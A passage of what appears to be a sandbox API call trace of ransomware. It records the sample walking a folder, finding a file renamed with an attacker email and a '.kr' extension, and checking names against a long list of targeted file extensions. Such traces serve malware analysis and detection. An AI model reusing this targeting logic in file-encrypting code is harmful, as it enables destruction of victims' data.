ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1 [0087.923] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4250058 [0087.923] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055") returned 26 [0087.923] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc76c3c6e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42607d0 [0087.923] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xc76c3c6e, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.923] FindNextFileW (in: hFindFile=0x42607d0, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc6ad18c6, ftCreationTime.dwHighDateTime=0x1d5990b, ftLastAccessTime.dwLowDateTime=0xc6ad18c6, ftLastAccessTime.dwHighDateTime=0x1d5990b, ftLastWriteTime.dwLowDateTime=0xc737c83d, ftLastWriteTime.dwHighDateTime=0x1d5990b, nFileSizeHigh=0x0, nFileSizeLow=0x1004, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr", cAlternateFileName="EULART~1.KR")) returned 1 [0087.923] lstrlenW (lpString="eula.rtf.id-B4197730.[blablacar@airmail.cc].kr") returned 46 [0087.923] lstrlenW (lpString=".1cd") returned 4 [0087.923] lstrcmpiW (lpString1=".1cd", lpString2="].kr") returned -1 [0087.923] lstrlenW (lpString=".3ds") returned 4 [0087.923] lstrcmpiW (lpString1=".3ds", lpString2="].kr") returned -1 [0087.923] lstrlenW (lpString=".3fr") returned 4 [0087.923] lstrcmpiW (lpString1=".3fr", lpString2="].kr") returned -1 [0087.923] lstrlenW (lpString=".3g2") returned 4 [0087.923] lstrcmpiW (lpString1=".3g2", lpString2="].kr") returned -1 [0087.923] lstrlenW (lpString=".3gp") returned 4 [0087.923] lstrcmpiW (lpString1=".3gp", lpString2="].kr") returned -1 [0087.923] lstrlenW (lpString=".7z") returned 3 [0087.923] lstrcmpiW (lpString1=".7z", lpString2=".kr") returned -1 [0087.923] lstrlenW (lpString=".accda") returned 6 [0087.924] lstrcmpiW (lpString1=".accda", lpString2="cc].kr") returned -1 [0087.924] lstrlenW (lpString=".accdb") returned 6 [0087.924] lstrcmpiW (lpString1=".accdb", lpString2="cc].kr") returned -1 [0087.924] lstrlenW (lpString=".accdc") returned 6 [0087.924] lstrcmpiW (lpString1=".accdc", lpString2="cc].kr") returned -1 [0087.924] lstrlenW (lpString=".accde") returned 6 [0087.924] lstrcmpiW (lpString1=".accde", lpString2="cc].kr") returned -1 [0087.924] lstrlenW (lpString=".accdt") returned 6 [0087.924] lstrcmpiW (lpString1=".accdt", lpString2="cc].kr") returned -1 [0087.924] lstrlenW (lpString=".accdw") returned 6 [0087.924] lstrcmpiW (lpString1=".accdw", lpString2="cc].kr") returned -1 [0087.924] lstrlenW (lpString=".adb") returned 4 [0087.924] lstrcmpiW (lpString1=".adb", lpString2="].kr") returned -1 [0087.924] lstrlenW (lpString=".adp") returned 4 [0087.924] lstrcmpiW (lpString1=".adp", lpString2="].kr") returned -1 [0087.924] lstrlenW (lpString=".ai") returned 3 [0087.924] lstrcmpiW (lpString1=".ai", lpString2=".kr") returned -1 [0087.924] lstrlenW (lpString=".ai3") returned 4 [0087.924] lstrcmpiW (lpString1=".ai3", lpString2="].kr") returned -1 [0087.924] lstrlenW (lpString=".ai4") returned 4 [0087.924] lstrcmpiW (lpString1=".ai4", lpString2="].kr") returned -1 [0087.924] lstrlenW (lpString=".ai5") returned 4 [0087.924] lstrcmpiW (lpString1=".ai5", lpString2="].kr") returned -1 [0087.924] lstrlenW (lpString=".ai6") returned 4 [0087.924] lstrcmpiW (lpString1=".ai6", lpString2="].kr") returned -1 [0087.924] lstrlenW (lpString=".ai7") returned 4 [0087.925] lstrcmpiW (lpString1=".ai7", lpString2="].kr") returned -1 [0087.925] lstrlenW (lpString=".ai8") returned 4 [0087.925] lstrcmpiW (lpString1=".ai8", lpString2="].kr") returned -1 [0087.925] lstrlenW (lpString=".anim") returned 5 [0087.925] lstrcmpiW (lpString1=".anim", lpString2="c].kr") returned -1 [0087.925] lstrlenW (lpString=".arw") returned 4 [0087.925] lstrcmpiW (lpString1=".arw", lpString2="].kr") returned -1 [0087.925] lstrlenW (lpString=".as") returned 3 [0087.925] lstrcmpiW (lpString1=".as", lpString2=".kr") returned -1 [0087.925] lstrlenW (lpString=".asa") returned 4 [0087.925] lstrcmpiW (lpString1=".asa", lpString2="].kr") returned -1 [0087.925] lstrlenW (lpString=".asc") returned 4 [0087.925] lstrcmpiW (lpString1=".asc", lpString2="].kr") returned -1 [0087.925] lstrlenW (lpString=".ascx") returned 5 [0087.925] lstrcmpiW (lpString1=".ascx", lpString2="c].kr") returned -1 [0087.925] lstrlenW (lpString=".asm") returned 4 [0087.925] lstrcmpiW (lpString1=".asm", lpString2="].kr") returned -1 [0087.925] lstrlenW (lpString=".asmx") returned 5 [0087.925] lstrcmpiW (lpString1=".asmx", lpString2="c].kr") returned -1 [0087.925] lstrlenW (lpString=".asp") returned 4 [0087.925] lstrcmpiW (lpString1=".asp", lpString2="].kr") returned -1 [0087.925] lstrlenW (lpString=".aspx") returned 5 [0087.925] lstrcmpiW (lpString1=".aspx", lpString2="c].kr") returned -1 [0087.925] lstrlenW (lpString=".asr") returned 4 [0087.925] lstrcmpiW (lpString1=".asr", lpString2="].kr") returned -1 [0087.925] lstrlenW (lpString=".asx") returned 4 [0087.925] lstrcmpiW (lpString1=".asx", lpString2="].kr") returned -1 [0087.926] lstrlenW (lpString=".avi") returned 4 [0087.926] lstrcmpiW (lpString1=".avi", lpString2="].kr") returned -1 [0087.926] lstrlenW (lpString=".avs") returned 4 [0087.926] lstrcmpiW (lpString1=".avs", lpString2="].kr") returned -1 [0087.926] lstrlenW (lpString=".backup") returned 7 [0087.926] lstrcmpiW (lpString1=".backup", lpString2=".cc].kr") returned -1 [0087.926] lstrlenW (lpString=".bak") returned 4 [0087.926] lstrcmpiW (lpString1=".bak", lpString2="].kr") returned -1 [0087.926] lstrlenW (lpString=".bay") returned 4 [0087.926] lstrcmpiW (lpString1=".bay", lpString2="].kr") returned -1 [0087.926] lstrlenW (lpString=".bd") returned 3 [0087.926] lstrcmpiW (lpString1=".bd", lpString2=".kr") returned -1 [0087.926] lstrlenW (lpString=".bin") returned 4 [0087.926] lstrcmpiW (lpString1=".bin", lpString2="].kr") returned -1 [0087.926] lstrlenW (lpString=".bmp") returned 4 [0087.926] lstrcmpiW (lpString1=".bmp", lpString2="].kr") returned -1 [0087.926] lstrlenW (lpString=".bz2") returned 4 [0087.926] lstrcmpiW (lpString1=".bz2", lpString2="].kr") returned -1 [0087.926] lstrlenW (lpString=".c") returned 2 [0087.926] lstrcmpiW (lpString1=".c", lpString2="kr") returned -1 [0087.926] lstrlenW (lpString=".cdr") returned 4 [0087.926] lstrcmpiW (lpString1=".cdr", lpString2="].kr") returned -1 [0087.926] lstrlenW (lpString=".cer") returned 4 [0087.926] lstrcmpiW (lpString1=".cer", lpString2="].kr") returned -1 [0087.926] lstrlenW (lpString=".cf") returned 3 [0087.926] lstrcmpiW (lpString1=".cf", lpString2=".kr") returned -1 [0087.927] lstrlenW (lpString=".cfc") returned 4 [0087.927] lstrcmpiW (lpString1=".cfc", lpString2="].kr") returned -1 [0087.927] lstrlenW (lpString=".cfm") returned 4 [0087.927] lstrcmpiW (lpString1=".cfm", lpString2="].kr") returned -1 [0087.927] lstrlenW (lpString=".cfml") returned 5 [0087.927] lstrcmpiW (lpString1=".cfml", lpString2="c].kr") returned -1 [0087.927] lstrlenW (lpString=".cfu") returned 4 [0087.927] lstrcmpiW (lpString1=".cfu", lpString2="].kr") returned -1 [0087.927] lstrlenW (lpString=".chm") returned 4 [0087.927] lstrcmpiW (lpString1=".chm", lpString2="].kr") returned -1 [0087.927] lstrlenW (lpString=".cin") returned 4 [0087.927] lstrcmpiW (lpString1=".cin", lpString2="].kr") returned -1 [0087.927] lstrlenW (lpString=".class") returned 6 [0087.927] lstrcmpiW (lpString1=".class", lpString2="cc].kr") returned -1 [0087.927] lstrlenW (lpString=".clx") returned 4 [0087.927] lstrcmpiW (lpString1=".clx", lpString2="].kr") returned -1 [0087.927] lstrlenW (lpString=".config") returned 7 [0087.927] lstrcmpiW (lpString1=".config", lpString2=".cc].kr") returned 1 [0087.927] lstrlenW (lpString=".cpp") returned 4 [0087.927] lstrcmpiW (lpString1=".cpp", lpString2="].kr") returned -1 [0087.927] lstrlenW (lpString=".cr2") returned 4 [0087.927] lstrcmpiW (lpString1=".cr2", lpString2="].kr") returned -1 [0087.927] lstrlenW (lpString=".crt") returned 4 [0087.927] lstrcmpiW (lpString1=".crt", lpString2="].kr") returned -1 [0087.927] lstrlenW (lpString=".crw") returned 4 [0087.927] lstrcmpiW (lpString1=".crw", lpString2="].kr") returned -1 [0087.928] lstrlenW (lpString=".cs") returned 3 [0087.928] lstrcmpiW (lpString1=".cs", lpString2=".kr") returned -1 [0087.928] lstrlenW (lpString=".css") returned 4 [0087.928] lstrcmpiW (lpString1=".css", lpString2="].kr") returned -1 [0087.928] lstrlenW (lpString=".csv") returned 4 [0087.928] lstrcmpiW (lpString1=".csv", lpString2="].kr") returned -1 [0087.928] lstrlenW (lpString=".cub") returned 4 [0087.928] lstrcmpiW (lpString1=".cub", lpString2="].kr") returned -1 [0087.928] lstrlenW (lpString=".dae") returned 4 [0087.928] lstrcmpiW (lpString1=".dae", lpString2="].kr") returned -1 [0087.928] lstrlenW (lpString=".dat") returned 4 [0087.928] lstrcmpiW (lpString1=".dat", lpString2="].kr") returned -1 [0087.928] lstrlenW (lpString=".db") returned 3 [0087.928] lstrcmpiW (lpString1=".db", lpString2=".kr") returned -1 [0087.928] lstrlenW (lpString=".dbf") returned 4 [0087.928] lstrcmpiW (lpString1=".dbf", lpString2="].kr") returned -1 [0087.928] lstrlenW (lpString=".dbx") returned 4 [0087.928] lstrcmpiW (lpString1=".dbx", lpString2="].kr") returned -1 [0087.928] lstrlenW (lpString=".dc3") returned 4 [0087.928] lstrcmpiW (lpString1=".dc3", lpString2="].kr") returned -1 [0087.928] lstrlenW (lpString=".dcm") returned 4 [0087.928] lstrcmpiW (lpString1=".dcm", lpString2="].kr") returned -1 [0087.928] lstrlenW (lpString=".dcr") returned 4 [0087.929] lstrcmpiW (lpString1=".dcr", lpString2="].kr") returned -1 [0087.929] lstrlenW (lpString=".der") returned 4 [0087.929] lstrcmpiW (lpString1=".der", lpString2="].kr") returned -1 [0087.929] lstrlenW (lpString=".dib") returned 4 [0087.929] lstrcmpiW (lpString1=".dib", lpString2="].kr") returned -1 [0087.929] lstrlenW (lpString=".dic") returned 4 [0087.929] lstrcmpiW (lpString1=".dic", lpString2="].kr") returned -1 [0087.929] lstrlenW (lpString=".dif") returned 4 [0087.929] lstrcmpiW (lpString1=".dif", lpString2="].kr") returned -1 [0087.929] lstrlenW (lpString=".divx") returned 5 [0087.929] lstrcmpiW (lpString1=".divx", lpString2="c].kr") returned -1 [0087.929] lstrlenW (lpString=".djvu") returned 5 [0087.929] lstrcmpiW (lpString1=".djvu", lpString2="c].kr") returned -1 [0087.929] lstrlenW (lpString=".dng") returned 4 [0087.929] lstrcmpiW (lpString1=".dng", lpString2="].kr") returned -1 [0087.929] lstrlenW (lpString=".doc") returned 4 [0087.929] lstrcmpiW (lpString1=".doc", lpString2="].kr") returned -1 [0087.929] lstrlenW (lpString=".docm") returned 5 [0087.929] lstrcmpiW (lpString1=".docm", lpString2="c].kr") returned -1 [0087.929] lstrlenW (lpString=".docx") returned 5 [0087.929] lstrcmpiW (lpString1=".docx", lpString2="c].kr") returned -1 [0087.929] lstrlenW (lpString=".dot") returned 4 [0087.929] lstrcmpiW (lpString1=".dot", lpString2="].kr") returned -1 [0087.929] lstrlenW (lpString=".dotm") returned 5 [0087.929] lstrcmpiW (lpString1=".dotm", lpString2="c].kr") returned -1 [0087.929] lstrlenW (lpString=".dotx") returned 5 [0087.930] lstrcmpiW (lpString1=".dotx", lpString2="c].kr") returned -1 [0087.930] lstrlenW (lpString=".dpx") returned 4 [0087.930] lstrcmpiW (lpString1=".dpx", lpString2="].kr") returned -1 [0087.930] lstrlenW (lpString=".dqy") returned 4 [0087.930] lstrcmpiW (lpString1=".dqy", lpString2="].kr") returned -1 [0087.930] lstrlenW (lpString=".dsn") returned 4 [0087.930] lstrcmpiW (lpString1=".dsn", lpString2="].kr") returned -1 [0087.930] lstrlenW (lpString=".dt") returned 3 [0087.930] lstrcmpiW (lpString1=".dt", lpString2=".kr") returned -1 [0087.930] lstrlenW (lpString=".dtd") returned 4 [0087.930] lstrcmpiW (lpString1=".dtd", lpString2="].kr") returned -1 [0087.930] lstrlenW (lpString=".dwg") returned 4 [0087.930] lstrcmpiW (lpString1=".dwg", lpString2="].kr") returned -1 [0087.930] lstrlenW (lpString=".dwt") returned 4 [0087.930] lstrcmpiW (lpString1=".dwt", lpString2="].kr") returned -1 [0087.930] lstrlenW (lpString=".dx") returned 3 [0087.930] lstrcmpiW (lpString1=".dx", lpString2=".kr") returned -1 [0087.930] lstrlenW (lpString=".dxf") returned 4 [0087.930] lstrcmpiW (lpString1=".dxf", lpString2="].kr") returned -1 [0087.930] lstrlenW (lpString=".edml") returned 5 [0087.930] lstrcmpiW (lpString1=".edml", lpString2="c].kr") returned -1 [0087.930] lstrlenW (lpString=".efd") returned 4 [0087.930] lstrcmpiW (lpString1=".efd", lpString2="].kr") returned -1 [0087.930] lstrlenW (lpString=".elf") returned 4 [0087.930] lstrcmpiW (lpString1=".elf", lpString2="].kr") returned -1 [0087.930] lstrlenW (lpString=".emf") returned 4 [0087.930] lstrcmpiW (lpString1=".emf", lpString2="].kr") returned -1 [0087.931] lstrlenW (lpString=".emz") returned 4 [0087.931] lstrcmpiW (lpString1=".emz", lpString2="].kr") returned -1 [0087.931] lstrlenW (lpString=".epf") returned 4 [0087.931] lstrcmpiW (lpString1=".epf", lpString2="].kr") returned -1 [0087.931] lstrlenW (lpString=".eps") returned 4 [0087.931] lstrcmpiW (lpString1=".eps", lpString2="].kr") returned -1 [0087.931] lstrlenW (lpString=".epsf") returned 5 [0087.931] lstrcmpiW (lpString1=".epsf", lpString2="c].kr") returned -1 [0087.931] lstrlenW (lpString=".epsp") returned 5 [0087.931] lstrcmpiW (lpString1=".epsp", lpString2="c].kr") returned -1 [0087.931] lstrlenW (lpString=".erf") returned 4 [0087.931] lstrcmpiW (lpString1=".erf", lpString2="].kr") returned -1 [0087.931] lstrlenW (lpString=".exr") returned 4 [0087.931] lstrcmpiW (lpString1=".exr", lpString2="].kr") returned -1 [0087.931] lstrlenW (lpString=".f4v") returned 4 [0087.931] lstrcmpiW (lpString1=".f4v", lpString2="].kr") returned -1 [0087.931] lstrlenW (lpString=".fido") returned 5 [0087.931] lstrcmpiW (lpString1=".fido", lpString2="c].kr") returned -1 [0087.931] lstrlenW (lpString=".flm") returned 4 [0087.931] lstrcmpiW (lpString1=".flm", lpString2="].kr") returned -1 [0087.931] lstrlenW (lpString=".flv") returned 4 [0087.931] lstrcmpiW (lpString1=".flv", lpString2="].kr") returned -1 [0087.931] lstrlenW (lpString=".frm") returned 4 [0087.931] lstrcmpiW (lpString1=".frm", lpString2="].kr") returned -1 [0087.931] lstrlenW (lpString=".fxg") returned 4 [0087.931] lstrcmpiW (lpString1=".fxg", lpString2="].kr") returned -1 [0087.932] lstrlenW (lpString=".geo") returned 4 [0087.932] lstrcmpiW (lpString1=".geo", lpString2="].kr") returned -1 [0087.932] lstrlenW (lpString=".gif") returned 4 [0087.932] lstrcmpiW (lpString1=".gif", lpString2="].kr") returned -1 [0087.932] lstrlenW (lpString=".grs") returned 4 [0087.932] lstrcmpiW (lpString1=".grs", lpString2="].kr") returned -1 [0087.932] lstrlenW (lpString=".gz") returned 3 [0087.932] lstrcmpiW (lpString1=".gz", lpString2=".kr") returned -1 [0087.932] lstrlenW (lpString=".h") returned 2 [0087.932] lstrcmpiW (lpString1=".h", lpString2="kr") returned -1 [0087.932] lstrlenW (lpString=".hdr") returned 4 [0087.932] lstrcmpiW (lpString1=".hdr", lpString2="].kr") returned -1 [0087.932] lstrlenW (lpString=".hpp") returned 4 [0087.932] lstrcmpiW (lpString1=".hpp", lpString2="].kr") returned -1 [0087.932] lstrlenW (lpString=".hta") returned 4 [0087.932] lstrcmpiW (lpString1=".hta", lpString2="].kr") returned -1 [0087.932] lstrlenW (lpString=".htc") returned 4 [0087.932] lstrcmpiW (lpString1=".htc", lpString2="].kr") returned -1 [0087.932] lstrlenW (lpString=".htm") returned 4 [0087.932] lstrcmpiW (lpString1=".htm", lpString2="].kr") returned -1 [0087.932] lstrlenW (lpString=".html") returned 5 [0087.932] lstrcmpiW (lpString1=".html", lpString2="c].kr") returned -1 [0087.932] lstrlenW (lpString=".icb") returned 4 [0087.932] lstrcmpiW (lpString1=".icb", lpString2="].kr") returned -1 [0087.932] lstrlenW (lpString=".ics") returned 4 [0087.932] lstrcmpiW (lpString1=".ics", lpString2="].kr") returned -1 [0087.932] lstrlenW (lpString=".iff") returned 4 [0087.933] lstrcmpiW (lpString1=".iff", lpString2="].kr") returned -1 [0087.933] lstrlenW (lpString=".inc") returned 4 [0087.933] lstrcmpiW (lpString1=".inc", lpString2="].kr") returned -1 [0087.933] lstrlenW (lpString=".indd") returned 5 [0087.933] lstrcmpiW (lpString1=".indd", lpString2="c].kr") returned -1 [0087.933] lstrlenW (lpString=".ini") returned 4 [0087.933] lstrcmpiW (lpString1=".ini", lpString2="].kr") returned -1 [0087.933] lstrlenW (lpString=".iqy") returned 4 [0087.933] lstrcmpiW (lpString1=".iqy", lpString2="].kr") returned -1 [0087.933] lstrlenW (lpString=".j2c") returned 4 [0087.933] lstrcmpiW (lpString1=".j2c", lpString2="].kr") returned -1 [0087.933] lstrlenW (lpString=".j2k") returned 4 [0087.933] lstrcmpiW (lpString1=".j2k", lpString2="].kr") returned -1 [0087.933] lstrlenW (lpString=".java") returned 5 [0087.933] lstrcmpiW (lpString1=".java", lpString2="c].kr") returned -1 [0087.933] lstrlenW (lpString=".jp2") returned 4 [0087.933] lstrcmpiW (lpString1=".jp2", lpString2="].kr") returned -1 [0087.933] lstrlenW (lpString=".jpc") returned 4 [0087.933] lstrcmpiW (lpString1=".jpc", lpString2="].kr") returned -1 [0087.933] lstrlenW (lpString=".jpe") returned 4 [0087.933] lstrcmpiW (lpString1=".jpe", lpString2="].kr") returned -1 [0087.933] lstrlenW (lpString=".jpeg") returned 5 [0087.933] lstrcmpiW (lpString1=".jpeg", lpString2="c].kr") returned -1 [0087.933] lstrlenW (lpString=".jpf") returned 4 [0087.933] lstrcmpiW (lpString1=".jpf", lpString2="].kr") returned -1 [0087.933] lstrlenW (lpString=".jpg") returned 4 [0087.934] lstrcmpiW (lpString1=".jpg", lpString2="].kr") returned -1 [0087.934] lstrlenW (lpString=".jpx") returned 4 [0087.934] lstrcmpiW (lpString1=".jpx", lpString2="].kr") returned -1 [0087.934] lstrlenW (lpString=".js") returned 3 [0087.934] lstrcmpiW (lpString1=".js", lpString2=".kr") returned -1 [0087.934] lstrlenW (lpString=".jsf") returned 4 [0087.934] lstrcmpiW (lpString1=".jsf", lpString2="].kr") returned -1 [0087.934] lstrlenW (lpString=".json") returned 5 [0087.934] lstrcmpiW (lpString1=".json", lpString2="c].kr") returned -1 [0087.934] lstrlenW (lpString=".jsp") returned 4 [0087.934] lstrcmpiW (lpString1=".jsp", lpString2="].kr") returned -1 [0087.934] lstrlenW (lpString=".kdc") returned 4 [0087.934] lstrcmpiW (lpString1=".kdc", lpString2="].kr") returned -1 [0087.934] lstrlenW (lpString=".kmz") returned 4 [0087.934] lstrcmpiW (lpString1=".kmz", lpString2="].kr") returned -1 [0087.934] lstrlenW (lpString=".kwm") returned 4 [0087.934] lstrcmpiW (lpString1=".kwm", lpString2="].kr") returned -1 [0087.934] lstrlenW (lpString=".lasso") returned 6 [0087.934] lstrcmpiW (lpString1=".lasso", lpString2="cc].kr") returned -1 [0087.934] lstrlenW (lpString=".lbi") returned 4 [0087.934] lstrcmpiW (lpString1=".lbi", lpString2="].kr") returned -1 [0087.934] lstrlenW (lpString=".lgf") returned 4 [0087.934] lstrcmpiW (lpString1=".lgf", lpString2="].kr") returned -1 [0087.934] lstrlenW (lpString=".lgp") returned 4 [0087.934] lstrcmpiW (lpString1=".lgp", lpString2="].kr") returned -1 [0087.934] lstrlenW (lpString=".log") returned 4 [0087.934] lstrcmpiW (lpString1=".log", lpString2="].kr") returned -1 [0087.935] lstrlenW (lpString=".m1v") returned 4 [0087.935] lstrcmpiW (lpString1=".m1v", lpString2="].kr") returned -1 [0087.935] lstrlenW (lpString=".m4a") returned 4 [0087.935] lstrcmpiW (lpString1=".m4a", lpString2="].kr") returned -1 [0087.935] lstrlenW (lpString=".m4v") returned 4 [0087.935] lstrcmpiW (lpString1=".m4v", lpString2="].kr") returned -1 [0087.935] lstrlenW (lpString=".max") returned 4 [0087.935] lstrcmpiW (lpString1=".max", lpString2="].kr") returned -1 [0087.935] lstrlenW (lpString=".md") returned 3 [0087.935] lstrcmpiW (lpString1=".md", lpString2=".kr") returned 1 [0087.935] lstrlenW (lpString=".mda") returned 4 [0087.935] lstrcmpiW (lpString1=".mda", lpString2="].kr") returned -1 [0087.935] lstrlenW (lpString=".mdb") returned 4 [0087.935] lstrcmpiW (lpString1=".mdb", lpString2="].kr") returned -1 [0087.935] lstrlenW (lpString=".mde") returned 4 [0087.935] lstrcmpiW (lpString1=".mde", lpString2="].kr") returned -1 [0087.935] lstrlenW (lpString=".mdf") returned 4 [0087.935] lstrcmpiW (lpString1=".mdf", lpString2="].kr") returned -1 [0087.935] lstrlenW (lpString=".mdw") returned 4 [0087.935] lstrcmpiW (lpString1=".mdw", lpString2="].kr") returned -1 [0087.935] lstrlenW (lpString=".mef") returned 4 [0087.935] lstrcmpiW (lpString1=".mef", lpString2="].kr") returned -1 [0087.935] lstrlenW (lpString=".mft") returned 4 [0087.935] lstrcmpiW (lpString1=".mft", lpString2="].kr") returned -1 [0087.935] lstrlenW (lpString=".mfw") returned 4 [0087.935] lstrcmpiW (lpString1=".mfw", lpString2="].kr") returned -1 [0087.935] lstrlenW (lpString=".mht") returned 4 [0087.936] lstrcmpiW (lpString1=".mht", lpString2="].kr") returned -1 [0087.936] lstrlenW (lpString=".mhtml") returned 6 [0087.936] lstrcmpiW (lpString1=".mhtml", lpString2="cc].kr") returned -1 [0087.936] lstrlenW (lpString=".mka") returned 4 [0087.936] lstrcmpiW (lpString1=".mka", lpString2="].kr") returned -1 [0087.936] lstrlenW (lpString=".mkidx") returned 6 [0087.936] lstrcmpiW (lpString1=".mkidx", lpString2="cc].kr") returned -1 [0087.936] lstrlenW (lpString=".mkv") returned 4 [0087.936] lstrcmpiW (lpString1=".mkv", lpString2="].kr") returned -1 [0087.936] lstrlenW (lpString=".mos") returned 4 [0087.936] lstrcmpiW (lpString1=".mos", lpString2="].kr") returned -1 [0087.936] lstrlenW (lpString=".mov") returned 4 [0087.936] lstrcmpiW (lpString1=".mov", lpString2="].kr") returned -1 [0087.936] lstrlenW (lpString=".mp3") returned 4 [0087.936] lstrcmpiW (lpString1=".mp3", lpString2="].kr") returned -1 [0087.936] lstrlenW (lpString=".mp4") returned 4 [0087.936] lstrcmpiW (lpString1=".mp4", lpString2="].kr") returned -1 [0087.936] lstrlenW (lpString=".mpeg") returned 5 [0087.936] lstrcmpiW (lpString1=".mpeg", lpString2="c].kr") returned -1 [0087.936] lstrlenW (lpString=".mpg") returned 4 [0087.936] lstrcmpiW (lpString1=".mpg", lpString2="].kr") returned -1 [0087.936] lstrlenW (lpString=".mpv") returned 4 [0087.936] lstrcmpiW (lpString1=".mpv", lpString2="].kr") returned -1 [0087.936] lstrlenW (lpString=".mrw") returned 4 [0087.936] lstrcmpiW (lpString1=".mrw", lpString2="].kr") returned -1 [0087.936] lstrlenW (lpString=".msg") returned 4 [0087.937] lstrcmpiW (lpString1=".msg", lpString2="].kr") returned -1 [0087.937] lstrlenW (lpString=".mxl") returned 4 [0087.937] lstrcmpiW (lpString1=".mxl", lpString2="].kr") returned -1 [0087.937] lstrlenW (lpString=".myd") returned 4 [0087.937] lstrcmpiW (lpString1=".myd", lpString2="].kr") returned -1 [0087.937] lstrlenW (lpString=".myi") returned 4 [0087.937] lstrcmpiW (lpString1=".myi", lpString2="].kr") returned -1 [0087.937] lstrlenW (lpString=".nef") returned 4 [0087.937] lstrcmpiW (lpString1=".nef", lpString2="].kr") returned -1 [0087.937] lstrlenW (lpString=".nrw") returned 4 [0087.937] lstrcmpiW (lpString1=".nrw", lpString2="].kr") returned -1 [0087.937] lstrlenW (lpString=".obj") returned 4 [0087.937] lstrcmpiW (lpString1=".obj", lpString2="].kr") returned -1 [0087.937] lstrlenW (lpString=".odb") returned 4 [0087.937] lstrcmpiW (lpString1=".odb", lpString2="].kr") returned -1 [0087.937] lstrlenW (lpString=".odc") returned 4 [0087.937] lstrcmpiW (lpString1=".odc", lpString2="].kr") returned -1 [0087.937] lstrlenW (lpString=".odm") returned 4 [0087.937] lstrcmpiW (lpString1=".odm", lpString2="].kr") returned -1 [0087.937] lstrlenW (lpString=".odp") returned 4 [0087.937] lstrcmpiW (lpString1=".odp", lpString2="].kr") returned -1 [0087.937] lstrlenW (lpString=".ods") returned 4 [0087.937] lstrcmpiW (lpString1=".ods", lpString2="].kr") returned -1 [0087.937] lstrlenW (lpString=".oft") returned 4 [0087.937] lstrcmpiW (lpString1=".oft", lpString2="].kr") returned -1 [0087.937] lstrlenW (lpString=".one") returned 4 [0087.937] lstrcmpiW (lpString1=".one", lpString2="].kr") returned -1 [0087.937] lstrlenW (lpString=".onepkg") returned 7 [0087.938] lstrcmpiW (lpString1=".onepkg", lpString2=".cc].kr") returned 1 [0087.938] lstrlenW (lpString=".onetoc2") returned 8 [0087.938] lstrcmpiW (lpString1=".onetoc2", lpString2="l.cc].kr") returned -1 [0087.938] lstrlenW (lpString=".opt") returned 4 [0087.938] lstrcmpiW (lpString1=".opt", lpString2="].kr") returned -1 [0087.938] lstrlenW (lpString=".oqy") returned 4 [0087.938] lstrcmpiW (lpString1=".oqy", lpString2="].kr") returned -1 [0087.938] lstrlenW (lpString=".orf") returned 4 [0087.938] lstrcmpiW (lpString1=".orf", lpString2="].kr") returned -1 [0087.938] lstrlenW (lpString=".p12") returned 4 [0087.938] lstrcmpiW (lpString1=".p12", lpString2="].kr") returned -1 [0087.938] lstrlenW (lpString=".p7b") returned 4 [0087.938] lstrcmpiW (lpString1=".p7b", lpString2="].kr") returned -1 [0087.938] lstrlenW (lpString=".p7c") returned 4 [0087.938] lstrcmpiW (lpString1=".p7c", lpString2="].kr") returned -1 [0087.938] lstrlenW (lpString=".pam") returned 4 [0087.938] lstrcmpiW (lpString1=".pam", lpString2="].kr") returned -1 [0087.938] lstrlenW (lpString=".pbm") returned 4 [0087.938] lstrcmpiW (lpString1=".pbm", lpString2="].kr") returned -1 [0087.938] lstrlenW (lpString=".pct") returned 4 [0087.938] lstrcmpiW (lpString1=".pct", lpString2="].kr") returned -1 [0087.938] lstrlenW (lpString=".pcx") returned 4 [0087.938] lstrcmpiW (lpString1=".pcx", lpString2="].kr") returned -1 [0087.938] lstrlenW (lpString=".pdd") returned 4 [0087.938] lstrcmpiW (lpString1=".pdd", lpString2="].kr") returned -1 [0087.938] lstrlenW (lpString=".pdf") returned 4 [0087.939] lstrcmpiW (lpString1=".pdf", lpString2="].kr") returned -1 [0087.939] lstrlenW (lpString=".pdp") returned 4 [0087.939] lstrcmpiW (lpString1=".pdp", lpString2="].kr") returned -1 [0087.939] lstrlenW (lpString=".pef") returned 4 [0087.939] lstrcmpiW (lpString1=".pef", lpString2="].kr") returned -1 [0087.939] lstrlenW (lpString=".pem") returned 4 [0087.939] lstrcmpiW (lpString1=".pem", lpString2="].kr") returned -1 [0087.939] lstrlenW (lpString=".pff") returned 4 [0087.939] lstrcmpiW (lpString1=".pff", lpString2="].kr") returned -1 [0087.939] lstrlenW (lpString=".pfm") returned 4 [0087.939] lstrcmpiW (lpString1=".pfm", lpString2="].kr") returned -1 [0087.939] lstrlenW (lpString=".pfx") returned 4 [0087.939] lstrcmpiW (lpString1=".pfx", lpString2="].kr") returned -1 